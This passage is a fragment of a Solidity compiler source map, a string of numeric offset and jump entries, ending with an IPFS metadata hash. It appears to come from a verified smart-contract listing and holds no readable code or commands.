;;4645:148;4661:6;4656:3;4653:15;4645:148;;;4727:23;4746:3;4727:23;:::i;:::-;4715:36;;4678:12;;;;4771;;;;4645:148;;;4812:6;-1:-1:-1;4837:35:1;;-1:-1:-1;4853:18:1;;;4837:35;:::i;:::-;4827:45;;;;;;3687:1191;;;;;:::o;4883:127::-;4944:10;4939:3;4935:20;4932:1;4925:31;4975:4;4972:1;4965:15;4999:4;4996:1;4989:15;5015:422;5104:1;5147:5;5104:1;5161:270;5182:7;5172:8;5169:21;5161:270;;;5241:4;5237:1;5233:6;5229:17;5223:4;5220:27;5217:53;;;5250:18;;:::i;:::-;5300:7;5290:8;5286:22;5283:55;;;5320:16;;;;5283:55;5399:22;;;;5359:15;;;;5161:270;;;5165:3;5015:422;;;;;:::o;5442:806::-;5491:5;5521:8;5511:80;;-1:-1:-1;5562:1:1;5576:5;;5511:80;5610:4;5600:76;;-1:-1:-1;5647:1:1;5661:5;;5600:76;5692:4;5710:1;5705:59;;;;5778:1;5773:130;;;;5685:218;;5705:59;5735:1;5726:10;;5749:5;;;5773:130;5810:3;5800:8;5797:17;5794:43;;;5817:18;;:::i;:::-;-1:-1:-1;;5873:1:1;5859:16;;5888:5;;5685:218;;5987:2;5977:8;5974:16;5968:3;5962:4;5959:13;5955:36;5949:2;5939:8;5936:16;5931:2;5925:4;5922:12;5918:35;5915:77;5912:159;;;-1:-1:-1;6024:19:1;;;6056:5;;5912:159;6103:34;6128:8;6122:4;6103:34;:::i;:::-;6173:6;6169:1;6165:6;6161:19;6152:7;6149:32;6146:58;;;6184:18;;:::i;:::-;6222:20;;5442:806;-1:-1:-1;;;5442:806:1:o;6253:140::-;6311:5;6340:47;6381:4;6371:8;6367:19;6361:4;6340:47;:::i;6398:168::-;6471:9;;;6502;;6519:15;;;6513:22;;6499:37;6489:71;;6540:18;;:::i;6571:356::-;6773:2;6755:21;;;6792:18;;;6785:30;6851:34;6846:2;6831:18;;6824:62;6918:2;6903:18;;6571:356::o;7896:306::-;7984:6;7992;8000;8053:2;8041:9;8032:7;8028:23;8024:32;8021:52;;;8069:1;8066;8059:12;8021:52;8098:9;8092:16;8082:26;;8148:2;8137:9;8133:18;8127:25;8117:35;;8192:2;8181:9;8177:18;8171:25;8161:35;;7896:306;;;;;:::o;8486:245::-;8553:6;8606:2;8594:9;8585:7;8581:23;8577:32;8574:52;;;8622:1;8619;8612:12;8574:52;8654:9;8648:16;8673:28;8695:5;8673:28;:::i;8736:127::-;8797:10;8792:3;8788:20;8785:1;8778:31;8828:4;8825:1;8818:15;8852:4;8849:1;8842:15;9229:135;9268:3;9289:17;;;9286:43;;9309:18;;:::i;:::-;-1:-1:-1;9356:1:1;9345:13;;9229:135::o;11763:125::-;11828:9;;;11849:10;;;11846:36;;;11862:18;;:::i;12248:128::-;12315:9;;;12336:11;;;12333:37;;;12350:18;;:::i;12381:217::-;12421:1;12447;12437:132;;12491:10;12486:3;12482:20;12479:1;12472:31;12526:4;12523:1;12516:15;12554:4;12551:1;12544:15;12437:132;-1:-1:-1;12583:9:1;;12381:217::o;13005:251::-;13075:6;13128:2;13116:9;13107:7;13103:23;13099:32;13096:52;;;13144:1;13141;13134:12;13096:52;13176:9;13170:16;13195:31;13220:5;13195:31;:::i;13261:980::-;13523:4;13571:3;13560:9;13556:19;13602:6;13591:9;13584:25;13628:2;13666:6;13661:2;13650:9;13646:18;13639:34;13709:3;13704:2;13693:9;13689:18;13682:31;13733:6;13768;13762:13;13799:6;13791;13784:22;13837:3;13826:9;13822:19;13815:26;;13876:2;13868:6;13864:15;13850:29;;13897:1;13907:195;13921:6;13918:1;13915:13;13907:195;;;13986:13;;-1:-1:-1;;;;;13982:39:1;13970:52;;14077:15;;;;14042:12;;;;14018:1;13936:9;13907:195;;;-1:-1:-1;;;;;;;14158:32:1;;;;14153:2;14138:18;;14131:60;-1:-1:-1;;;14222:3:1;14207:19;14200:35;14119:3;13261:980;-1:-1:-1;;;13261:980:1:o

ipfs://7a54fb90f2d1d742006ce1998cd970e98e5c6b94bc7186dcfefd4f9edf3d225d